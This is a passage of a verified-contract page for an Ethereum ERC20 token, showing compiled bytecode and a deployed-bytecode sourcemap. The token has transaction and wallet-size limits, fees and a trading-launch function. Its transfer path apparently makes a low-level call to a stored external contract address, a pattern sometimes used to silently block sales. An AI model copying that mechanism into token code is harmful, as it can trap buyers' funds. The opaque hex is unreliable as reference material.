565b9050919050565b5f8151905061288a816123c5565b92915050565b5f602082840312156128a5576128a4612287565b5b5f6128b28482850161287c565b91505092915050565b5f6040820190506128ce5f83018561255f565b6128db602083018461255f565b9392505050565b5f819050919050565b5f819050919050565b5f61290e612909612904846128e2565b6128eb565b6123ef565b9050919050565b61291e816128f4565b82525050565b5f60c0820190506129375f83018961255f565b6129446020830188612488565b6129516040830187612915565b61295e6060830186612915565b61296b608083018561255f565b61297860a0830184612488565b979650505050505050565b5f81519050612991816123f8565b92915050565b5f805f606084860312156129ae576129ad612287565b5b5f6129bb86828701612983565b93505060206129cc86828701612983565b92505060406129dd86828701612983565b9150509250925092565b5f6040820190506129fa5f83018561255f565b612a076020830184612488565b9392505050565b5f81519050612a1c81612296565b92915050565b5f60208284031215612a3757612a36612287565b5b5f612a4484828501612a0e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612aa76024836122f5565b9150612ab282612a4d565b604082019050919050565b5f6020820190508181035f830152612ad481612a9b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b356022836122f5565b9150612b4082612adb565b604082019050919050565b5f6020820190508181035f830152612b6281612b29565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612bc36025836122f5565b9150612bce82612b69565b604082019050919050565b5f6020820190508181035f830152612bf081612bb7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612c516023836122f5565b9150612c5c82612bf7565b604082019050919050565b5f6020820190508181035f830152612c7e81612c45565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612cdf6029836122f5565b9150612cea82612c85565b604082019050919050565b5f6020820190508181035f830152612d0c81612cd3565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612d476019836122f5565b9150612d5282612d13565b602082019050919050565b5f6020820190508181035f830152612d7481612d3b565b9050919050565b5f612d85826123ef565b9150612d90836123ef565b9250828201905080821115612da857612da761262d565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612de2601a836122f5565b9150612ded82612dae565b602082019050919050565b5f6020820190508181035f830152612e0f81612dd6565b9050919050565b5f612e20826123ef565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e5257612e5161262d565b5b600182019050919050565b5f612e67826123ef565b9150612e72836123ef565b9250828203905081811115612e8a57612e8961262d565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ec7826123ef565b9150612ed2836123ef565b925082612ee257612ee1612e90565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f476021836122f5565b9150612f5282612eed565b604082019050919050565b5f6020820190508181035f830152612f7481612f3b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613007816123b4565b82525050565b5f6130188383612ffe565b60208301905092915050565b5f602082019050919050565b5f61303a82612fd5565b6130448185612fdf565b935061304f83612fef565b805f5b8381101561307f578151613066888261300d565b975061307183613024565b925050600181019050613052565b5085935050505092915050565b5f60a08201905061309f5f830188612488565b6130ac6020830187612915565b81810360408301526130be8186613030565b90506130cd606083018561255f565b6130da6080830184612488565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613118601b836122f5565b9150613123826130e4565b602082019050919050565b5f6020820190508181035f8301526131458161310c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034e532e3f49a437e85c5b79f2dbcefec0c3d8abd4e89ae05a00c25cc6195eb3b64736f6c63430008150033

Deployed Bytecode Sourcemap

3642:8434:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10236:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5508:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6341:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4690:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5785:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6510:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5694:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11155:109;;;;;;;;;;;;;:::i;:::-;;5888:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2723:148;;;;;;;;;;;;;:::i;:::-;;4526:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2509:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4580:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5599:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10349:171;;;;;;;;;;;;;:::i;:::-;;10528:114;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6015:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4636:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11272:762;;;;;;;;;;;;;:::i;:::-;;6190:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10236:105;2646:12;:10;:12::i;:::-;2636:22;;:6;;;;;;;;;;:22;;;2628:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10323:10:::1;10309:11;;:24;;;;;;;;;;;;;;;;;;10236:105:::0;:::o;5508:83::-;5545:13;5578:5;;;;;;;;;;;;;;;;;5571:12;;5508:83;:::o;6341:161::-;6416:4;6433:39;6442:12;:10;:12::i;:::-;6456:7;6465:6;6433:8;:39::i;:::-;6490:4;6483:11;;6341:161;;;;:::o;4690:41::-;;;;:::o;5785:95::-;5838:7;4337:1;4392:2;:13;;;;:::i;:::-;4380:9;:25;;;;:::i;:::-;5858:14;;5785:95;:::o;6510:313::-;6608:4;6625:36;6635:6;6643:9;6654:6;6625:9;:36::i;:::-;6672:121;6681:6;6689:12;:10;:12::i;:::-;6703:89;6741:6;6703:89;;;;;;;;;;;;;;;;;:11;:19;6715:6;6703:19;;;;;;;;;;;;;;;:33;6723:12;:10;:12::i;:::-;6703:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6672:8;:121::i;:::-;6811:4;6804:11;;6510:313;;;;;:::o;5694:83::-;5735:5;4337:1;5753:16;;5694:83;:::o;11155:109::-;2646:12;:10;:12::i;:::-;2636:22;;:6;;;;;;;;;;:22;;;2628:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11214:10:::1;;;;;;;;;;;:19;;:42;11234:21;11214:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;11155:109::o:0;5888:119::-;5954:7;5981:9;:18;5991:7;5981:18;;;;;;;;;;;;;;;;5974:25;;5888:119;;;:::o;2723:148::-;2646:12;:10;:12::i;:::-;2636:22;;:6;;;;;;;;;;:22;;;2628:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2830:1:::1;2793:40;;2814:6;::::0;::::1;;;;;;;;2793:40;;;;;;;;;;;;2861:1;2844:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2723:148::o:0;4526:47::-;;;;:::o;2509:79::-;2547:7;2574:6;;;;;;;;;;;2567:13;;2509:79;:::o;4580:49::-;;;;:::o;5599:87::-;5638:13;5671:7;;;;;;;;;;;;;;;;;5664:14;;5599:87;:::o;10349:171::-;2646:12;:10;:12::i;:::-;2636:22;;:6;;;;;;;;;;:22;;;2628:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4337:1:::1;4392:2;:13;;;;:::i;:::-;4380:9;:25;;;;:::i;:::-;10414:12;:22;;;;4337:1;4392:2;:13;;;;:::i;:::-;4380:9;:25;;;;:::i;:::-;10447:14;:22;;;;10485:27;4337:1;4392:2;:13;;;;:::i;:::-;4380:9;:25;;;;:::i;:::-;10485:27;;;;;;:::i;:::-;;;;;;;;10349:171::o:0;10528:114::-;2646:12;:10;:12::i;:::-;2636:22;;:6;;;;;;;;;;:22;;;2628:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10619:15:::1;10602:14;;:32;;;;;;;;;;;;;;;;;;10528:114:::0;:::o;6015:167::-;6093:4;6110:42;6120:12;:10;:12::i;:::-;6134:9;6145:6;6110:9;:42::i;:::-;6170:4;6163:11;;6015:167;;;;:::o;4636:47::-;;;;:::o;11272:762::-;2646:12;:10;:12::i;:::-;2636:22;;:6;;;;;;;;;;:22;;;2628:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11336:11:::1;::::0;::::1;;;;;;;;11335:12;11327:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11397:4;11385:9;;:16;;;;;;;;;;;;;;;;;;11449:42;11412:15;;:80;;;;;;;;;;;;;;;;;;11503:58;11520:4;11535:15;;;;;;;;;;;4337:1;4392:2;:13;;;;:::i;:::-;4380:9;:25;;;;:::i;:::-;11503:8;:58::i;:::-;11606:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11588:55;;;11652:4;11659:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11588:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11572:13;;:110;;;;;;;;;;;;;;;;;;11693:15;;;;;;;;;;;:31;;;11732:21;11763:4;11769:24;11787:4;11769:9;:24::i;:::-;11794:1;11796::::0;11798:7:::1;:5;:7::i;:::-;11806:15;11693:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11840:13;;;;;;;;;;;11833:29;;;11871:15;;;;;;;;;;;11889:14;11833:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11927:5;11915:9;;:17;;;;;;;;;;;;;;;;;;11957:4;11943:11;;:18;;;;;;;;;;;;;;;;;;11986:4;11972:11;::::0;:18:::1;;;;;;;;;;;;;;;;;;12014:12;12001:10;:25;;;;11272:762::o:0;6190:143::-;6271:7;6298:11;:18;6310:5;6298:18;;;;;;;;;;;;;;;:27;6317:7;6298:27;;;;;;;;;;;;;;;;6291:34;;6190:143;;;;:::o;263:98::-;316:7;343:10;336:17;;263:98;:::o;6831:335::-;6941:1;6924:19;;:5;:19;;;6916:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7022:1;7003:21;;:7;:21;;;6995:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7104:6;7074:11;:18;7086:5;7074:18;;;;;;;;;;;;;;;:27;7093:7;7074:27;;;;;;;;;;;;;;;:36;;;;7142:7;7126:32;;7135:5;7126:32;;;7151:6;7126:32;;;;;;:::i;:::-;;;;;;;;6831:335;;;:::o;7174:2250::-;7278:1;7262:18;;:4;:18;;;7254:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7355:1;7341:16;;:2;:16;;;7333:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7425:1;7416:6;:10;7408:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7483:17;7525:7;:5;:7::i;:::-;7517:15;;:4;:15;;;;:32;;;;;7542:7;:5;:7::i;:::-;7536:13;;:2;:13;;;;7517:32;7513:1486;;;7578:76;7650:3;7578:67;7600:15;;7590:9;;:25;7589:55;;7630:14;;7589:55;;;7617:12;;7589:55;7578:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;7566:88;;7683:13;;;;;;;;;;;7675:21;;:4;:21;;;:55;;;;;7714:15;;;;;;;;;;;7700:30;;:2;:30;;;;7675:55;:71;;;;;7734:12;7743:2;7734:8;:12::i;:::-;7675:71;:99;;;;;7752:18;:22;7771:2;7752:22;;;;;;;;;;;;;;;;;;;;;;;;;7750:24;7675:99;7671:451;;;7813:12;;7803:6;:22;;7795:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;7908:14;;7898:6;7882:13;7892:2;7882:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7874:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7996:12;7991:1;7978:10;;:14;;;;:::i;:::-;:30;7974:103;;;8042:14;8053:2;8042:10;:14::i;:::-;8041:15;8033:24;;;;;;7974:103;8095:9;;:11;;;;;;;;;:::i;:::-;;;;;;7671:451;8148:13;;;;;;;;;;;8142:19;;:2;:19;;;;:47;;;;;8167:18;:22;8186:2;8167:22;;;;;;;;;;;;;;;;;;;;;;;;;8165:24;8142:47;8138:167;;;8244:14;;8234:6;8218:13;8228:2;8218:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8210:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8138:167;8330:13;;;;;;;;;;;8324:19;;:2;:19;;;:43;;;;;8362:4;8347:20;;:4;:20;;;;8324:43;8321:174;;;8400:79;8475:3;8400:70;8422:16;;8412:9;;:26;8411:58;;8454:15;;8411:58;;;8440:13;;8411:58;8400:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;8388:91;;8321:174;8511:28;8542:24;8560:4;8542:9;:24::i;:::-;8511:55;;8586:6;;;;;;;;;;;8585:7;:30;;;;;8602:13;;;;;;;;;;;8596:19;;:2;:19;;;8585:30;:45;;;;;8619:11;;;;;;;;;;;8585:45;:87;;;;;8655:17;;8634:20;:38;8585:87;:119;;;;;8686:18;;8676:9;;:28;8585:119;8581:407;;;8725:55;8742:37;8746:20;8767:11;;8742:3;:37::i;:::-;8725:16;:55::i;:::-;8799:26;8828:21;8799:50;;8892:1;8871:18;:22;8868:105;;;8918:35;8931:21;8918:12;:35::i;:::-;8868:105;8706:282;8581:407;7551:1448;7513:1486;9015:9;;;;;;;;;;;9011:55;;;9053:1;9041:13;;9011:55;9089:1;9079:9;:11;9076:165;;;9131:39;9160:9;9131;:24;9149:4;9131:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9106:9;:24;9124:4;9106:24;;;;;;;;;;;;;;;:64;;;;9213:4;9190:39;;9199:4;9190:39;;;9219:9;9190:39;;;;;;:::i;:::-;;;;;;;;9076:165;9267:27;9287:6;9267:9;:15;9277:4;9267:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;9251:9;:15;9261:4;9251:15;;;;;;;;;;;;;;;:43;;;;9319:40;9337:21;9348:9;9337:6;:10;;:21;;;;:::i;:::-;9319:9;:13;9329:2;9319:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;9305:9;:13;9315:2;9305:13;;;;;;;;;;;;;;;:54;;;;9390:2;9375:41;;9384:4;9375:41;;;9394:21;9405:9;9394:6;:10;;:21;;;;:::i;:::-;9375:41;;;;;;:::i;:::-;;;;;;;;7243:2181;7174:2250;;;:::o;1401:190::-;1487:7;1520:1;1515;:6;;1523:12;1507:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1547:9;1563:1;1559;:5;;;;:::i;:::-;1547:17;;1582:1;1575:8;;;1401:190;;;;;:::o;1599:246::-;1657:7;1686:1;1681;:6;1677:47;;1711:1;1704:8;;;;1677:47;1734:9;1750:1;1746;:5;;;;:::i;:::-;1734:17;;1779:1;1774;1770;:5;;;;:::i;:::-;:10;1762:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1836:1;1829:8;;;1599:246;;;;;:::o;1853:132::-;1911:7;1938:39;1942:1;1945;1938:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1931:46;;1853:132;;;;:::o;10650:397::-;10706:4;10723:16;10787:11;10742:57;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10723:76;;10810:17;10838:14;;;;;;;;;;;10810:43;;10897:5;10935:4;10930:3;10926:14;11005:1;11002;10996:4;10992:2;10981:9;10978:1;10965:42;10873:145;;;11035:4;11028:11;;;;10650:397;;;:::o;9542:195::-;9601:4;9618:12;9685:7;9673:20;9665:28;;9728:1;9721:4;:8;9714:15;;;9542:195;;;:::o;9434:100::-;9491:7;9520:1;9518;:3;9517:9;;9525:1;9517:9;;;9523:1;9517:9;9510:16;;9434:100;;;;:::o;9745:483::-;5096:4;5087:6;;:13;;;;;;;;;;;;;;;;;;9823:21:::1;9861:1;9847:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9823:40;;9892:4;9874;9879:1;9874:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;9918:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9908:4;9913:1;9908:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;9951:62;9968:4;9983:15;;;;;;;;;;;10001:11;9951:8;:62::i;:::-;10024:15;;;;;;;;;;;:66;;;10105:11;10131:1;10147:4;10174;10194:15;10024:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9812:416;5132:5:::0;5123:6;;:14;;;;;;;;;;;;;;;;;;9745:483;:::o;11055:92::-;11112:10;;;;;;;;;;;:19;;:27;11132:6;11112:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11055:92;:::o;1070:179::-;1128:7;1148:9;1164:1;1160;:5;;;;:::i;:::-;1148:17;;1189:1;1184;:6;;1176:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1240:1;1233:8;;;1070:179;;;;:::o;1257:136::-;1315:7;1342:43;1346:1;1349;1342:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1335:50;;1257:136;;;;:::o;1993:189::-;2079:7;2111:1;2107;:5;2114:12;2099:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2138:9;2154:1;2150;:5;;;;:::i;:::-;2138:17;;2173:1;2166:8;;;1993:189;;;;;:::o;88:117:1:-;197:1;194;187:12;334:90;368:7;411:5;404:13;397:21;386:32;;334:90;;;:::o;430:116::-;500:21;515:5;500:21;:::i;:::-;493:5;490:32;480:60;;536:1;533;526:12;480:60;430:116;:::o;552:133::-;595:5;633:6;620:20;611:29;;649:30;673:5;649:30;:::i;:::-;552:133;;;;:::o;691:323::-;747:6;796:2;784:9;775:7;771:23;767:32;764:119;;;802:79;;:::i;:::-;764:119;922:1;947:50;989:7;980:6;969:9;965:22;947:50;:::i;:::-;937:60;;893:114;691:323;;;;:::o;1020:99::-;1072:6;1106:5;1100:12;1090:22;;1020:99;;;:::o;1125:169::-;1209:11;1243:6;1238:3;1231:19;1283:4;1278:3;1274:14;1259:29;;1125:169;;;;:::o;1300:246::-;1381:1;1391:113;1405:6;1402:1;1399:13;1391:113;;;1490:1;1485:3;1481:11;1475:18;1471:1;1466:3;1462:11;1455:39;1427:2;1424:1;1420:10;1415:15;;1391:113;;;1538:1;1529:6;1524:3;1520:16;1513:27;1362:184;1300:246;;;:::o;1552:102::-;1593:6;1644:2;1640:7;1635:2;1628:5;1624:14;1620:28;1610:38;;1552:102;;;:::o;1660:377::-;1748:3;1776:39;1809:5;1776:39;:::i;:::-;1831:71;1895:6;1890:3;1831:71;:::i;:::-;1824:78;;1911:65;1969:6;1964:3;1957:4;1950:5;1946:16;1911:65;:::i;:::-;2001:29;2023:6;2001:29;:::i;:::-;1996:3;1992:39;1985:46;;1752:285;1660:377;;;;:::o;2043:313::-;2156:4;2194:2;2183:9;2179:18;2171:26;;2243:9;2237:4;2233:20;2229:1;2218:9;2214:17;2207:47;2271:78;2344:4;2335:6;2271:78;:::i;:::-;2263:86;;2043:313;;;;:::o;2362:126::-;2399:7;2439:42;2432:5;2428:54;2417:65;;2362:126;;;:::o;2494:96::-;2531:7;2560:24;2578:5;2560:24;:::i;:::-;2549:35;;2494:96;;;:::o;2596:122::-;2669:24;2687:5;2669:24;:::i;:::-;2662:5;2659:35;2649:63;;2708:1;2705;2698:12;2649:63;2596:122;:::o;2724:139::-;2770:5;2808:6;2795:20;2786:29;;2824:33;2851:5;2824:33;:::i;:::-;2724:139;;;;:::o;2869:77::-;2906:7;2935:5;2924:16;;2869:77;;;:::o;2952:122::-;3025:24;3043:5;3025:24;:::i;:::-;3018:5;3015:35;3005:63;;3064:1;3061;3054:12;3005:63;2952:122;:::o;3080:139::-;3126:5;3164:6;3151:20;3142:29;;3180:33;3207:5;3180:33;:::i;:::-;3080:139;;;;:::o;3225:474::-;3293:6;3301;3350:2;3338:9;3329:7;3325:23;3321:32;3318:119;;;3356:79;;:::i;:::-;3318:119;3476:1;3501:53;3546:7;3537:6;3526:9;3522:22;3501:53;:::i;:::-;3491:63;;3447:117;3603:2;3629:53;3674:7;3665:6;3654:9;3650:22;3629:53;:::i;:::-;3619:63;;3574:118;3225:474;;;;;:::o;3705:109::-;3786:21;3801:5;3786:21;:::i;:::-;3781:3;3774:34;3705:109;;:::o;3820:210::-;3907:4;3945:2;3934:9;3930:18;3922:26;;3958:65;4020:1;4009:9;4005:17;3996:6;3958:65;:::i;:::-;3820:210;;;;:::o;4036:118::-;4123:24;4141:5;4123:24;:::i;:::-;4118:3;4111:37;4036:118;;:::o;4160:222::-;4253:4;4291:2;4280:9;4276:18;4268:26;;4304:71;4372:1;4361:9;4357:17;4348:6;4304:71;:::i;:::-;4160:222;;;;:::o;4388:619::-;4465:6;4473;4481;4530:2;4518:9;4509:7;4505:23;4501:32;4498:119;;;4536:79;;:::i;:::-;4498:119;4656:1;4681:53;4726:7;4717:6;4706:9;4702:22;4681:53;:::i;:::-;4671:63;;4627:117;4783:2;4809:53;4854:7;4845:6;4834:9;4830:22;4809:53;:::i;:::-;4799:63;;4754:118;4911:2;4937:53;4982:7;4973:6;4962:9;4958:22;4937:53;:::i;:::-;4927:63;;4882:118;4388:619;;;;;:::o;5013:86::-;5048:7;5088:4;5081:5;5077:16;5066:27;;5013:86;;;:::o;5105:112::-;5188:22;5204:5;5188:22;:::i;:::-;5183:3;5176:35;5105:112;;:::o;5223:214::-;5312:4;5350:2;5339:9;5335:18;5327:26;;5363:67;5427:1;5416:9;5412:17;5403:6;5363:67;:::i;:::-;5223:214;;;;:::o;5443:329::-;5502:6;5551:2;5539:9;5530:7;5526:23;5522:32;5519:119;;;5557:79;;:::i;:::-;5519:119;5677:1;5702:53;5747:7;5738:6;5727:9;5723:22;5702:53;:::i;:::-;5692:63;;5648:117;5443:329;;;;:::o;5778:118::-;5865:24;5883:5;5865:24;:::i;:::-;5860:3;5853:37;5778:118;;:::o;5902:222::-;5995:4;6033:2;6022:9;6018:18;6010:26;;6046:71;6114:1;6103:9;6099:17;6090:6;6046:71;:::i;:::-;5902:222;;;;:::o;6130:474::-;6198:6;6206;6255:2;6243:9;6234:7;6230:23;6226:32;6223:119;;;6261:79;;:::i;:::-;6223:119;6381:1;6406:53;6451:7;6442:6;6431:9;6427:22;6406:53;:::i;:::-;6396:63;;6352:117;6508:2;6534:53;6579:7;6570:6;6559:9;6555:22;6534:53;:::i;:::-;6524:63;;6479:118;6130:474;;;;;:::o;6610:182::-;6750:34;6746:1;6738:6;6734:14;6727:58;6610:182;:::o;6798:366::-;6940:3;6961:67;7025:2;7020:3;6961:67;:::i;:::-;6954:74;;7037:93;7126:3;7037:93;:::i;:::-;7155:2;7150:3;7146:12;7139:19;;6798:366;;;:::o;7170:419::-;7336:4;7374:2;7363:9;7359:18;7351:26;;7423:9;7417:4;7413:20;7409:1;7398:9;7394:17;7387:47;7451:131;7577:4;7451:131;:::i;:::-;7443:139;;7170:419;;;:::o;7595:180::-;7643:77;7640:1;7633:88;7740:4;7737:1;7730:15;7764:4;7761:1;7754:15;7781:102;7823:8;7870:5;7867:1;7863:13;7842:34;;7781:102;;;:::o;7889:848::-;7950:5;7957:4;7981:6;7972:15;;8005:5;7996:14;;8019:712;8040:1;8030:8;8027:15;8019:712;;;8135:4;8130:3;8126:14;8120:4;8117:24;8114:50;;;8144:18;;:::i;:::-;8114:50;8194:1;8184:8;8180:16;8177:451;;;8609:4;8602:5;8598:16;8589:25;;8177:451;8659:4;8653;8649:15;8641:23;;8689:32;8712:8;8689:32;:::i;:::-;8677:44;;8019:712;;;7889:848;;;;;;;:::o;8743:1073::-;8797:5;8988:8;8978:40;;9009:1;9000:10;;9011:5;;8978:40;9037:4;9027:36;;9054:1;9045:10;;9056:5;;9027:36;9123:4;9171:1;9166:27;;;;9207:1;9202:191;;;;9116:277;;9166:27;9184:1;9175:10;;9186:5;;;9202:191;9247:3;9237:8;9234:17;9231:43;;;9254:18;;:::i;:::-;9231:43;9303:8;9300:1;9296:16;9287:25;;9338:3;9331:5;9328:14;9325:40;;;9345:18;;:::i;:::-;9325:40;9378:5;;;9116:277;;9502:2;9492:8;9489:16;9483:3;9477:4;9474:13;9470:36;9452:2;9442:8;9439:16;9434:2;9428:4;9425:12;9421:35;9405:111;9402:246;;;9558:8;9552:4;9548:19;9539:28;;9593:3;9586:5;9583:14;9580:40;;;9600:18;;:::i;:::-;9580:40;9633:5;;9402:246;9673:42;9711:3;9701:8;9695:4;9692:1;9673:42;:::i;:::-;9658:57;;;;9747:4;9742:3;9738:14;9731:5;9728:25;9725:51;;;9756:18;;:::i;:::-;9725:51;9805:4;9798:5;9794:16;9785:25;;8743:1073;;;;;;:::o;9822:281::-;9880:5;9904:23;9922:4;9904:23;:::i;:::-;9896:31;;9948:25;9964:8;9948:25;:::i;:::-;9936:37;;9992:104;10029:66;10019:8;10013:4;9992:104;:::i;:::-;9983:113;;9822:281;;;;:::o;10109:410::-;10149:7;10172:20;10190:1;10172:20;:::i;:::-;10167:25;;10206:20;10224:1;10206:20;:::i;:::-;10201:25;;10261:1;10258;10254:9;10283:30;10301:11;10283:30;:::i;:::-;10272:41;;10462:1;10453:7;10449:15;10446:1;10443:22;10423:1;10416:9;10396:83;10373:139;;10492:18;;:::i;:::-;10373:139;10157:362;10109:410;;;;:::o;10525:173::-;10665:25;10661:1;10653:6;10649:14;10642:49;10525:173;:::o;10704:366::-;10846:3;10867:67;10931:2;10926:3;10867:67;:::i;:::-;10860:74;;10943:93;11032:3;10943:93;:::i;:::-;11061:2;11056:3;11052:12;11045:19;;10704:366;;;:::o;11076:419::-;11242:4;11280:2;11269:9;11265:18;11257:26;;11329:9;11323:4;11319:20;11315:1;11304:9;11300:17;11293:47;11357:131;11483:4;11357:131;:::i;:::-;11349:139;;11076:419;;;:::o;11501:143::-;11558:5;11589:6;11583:13;11574:22;;11605:33;11632:5;11605:33;:::i;:::-;11501:143;;;;:::o;11650:351::-;11720:6;11769:2;11757:9;11748:7;11744:23;11740:32;11737:119;;;11775:79;;:::i;:::-;11737:119;11895:1;11920:64;11976:7;11967:6;11956:9;11952:22;11920:64;:::i;:::-;11910:74;;11866:128;11650:351;;;;:::o;12007:332::-;12128:4;12166:2;12155:9;12151:18;12143:26;;12179:71;12247:1;12236:9;12232:17;12223:6;12179:71;:::i;:::-;12260:72;12328:2;12317:9;12313:18;12304:6;12260:72;:::i;:::-;12007:332;;;;;:::o;12345:85::-;12390:7;12419:5;12408:16;;12345:85;;;:::o;12436:60::-;12464:3;12485:5;12478:12;;12436:60;;;:::o;12502:158::-;12560:9;12593:61;12611:42;12620:32;12646:5;12620:32;:::i;:::-;12611:42;:::i;:::-;12593:61;:::i;:::-;12580:74;;12502:158;;;:::o;12666:147::-;12761:45;12800:5;12761:45;:::i;:::-;12756:3;12749:58;12666:147;;:::o;12819:807::-;13068:4;13106:3;13095:9;13091:19;13083:27;;13120:71;13188:1;13177:9;13173:17;13164:6;13120:71;:::i;:::-;13201:72;13269:2;13258:9;13254:18;13245:6;13201:72;:::i;:::-;13283:80;13359:2;13348:9;13344:18;13335:6;13283:80;:::i;:::-;13373;13449:2;13438:9;13434:18;13425:6;13373:80;:::i;:::-;13463:73;13531:3;13520:9;13516:19;13507:6;13463:73;:::i;:::-;13546;13614:3;13603:9;13599:19;13590:6;13546:73;:::i;:::-;12819:807;;;;;;;;;:::o;13632:143::-;13689:5;13720:6;13714:13;13705:22;;13736:33;13763:5;13736:33;:::i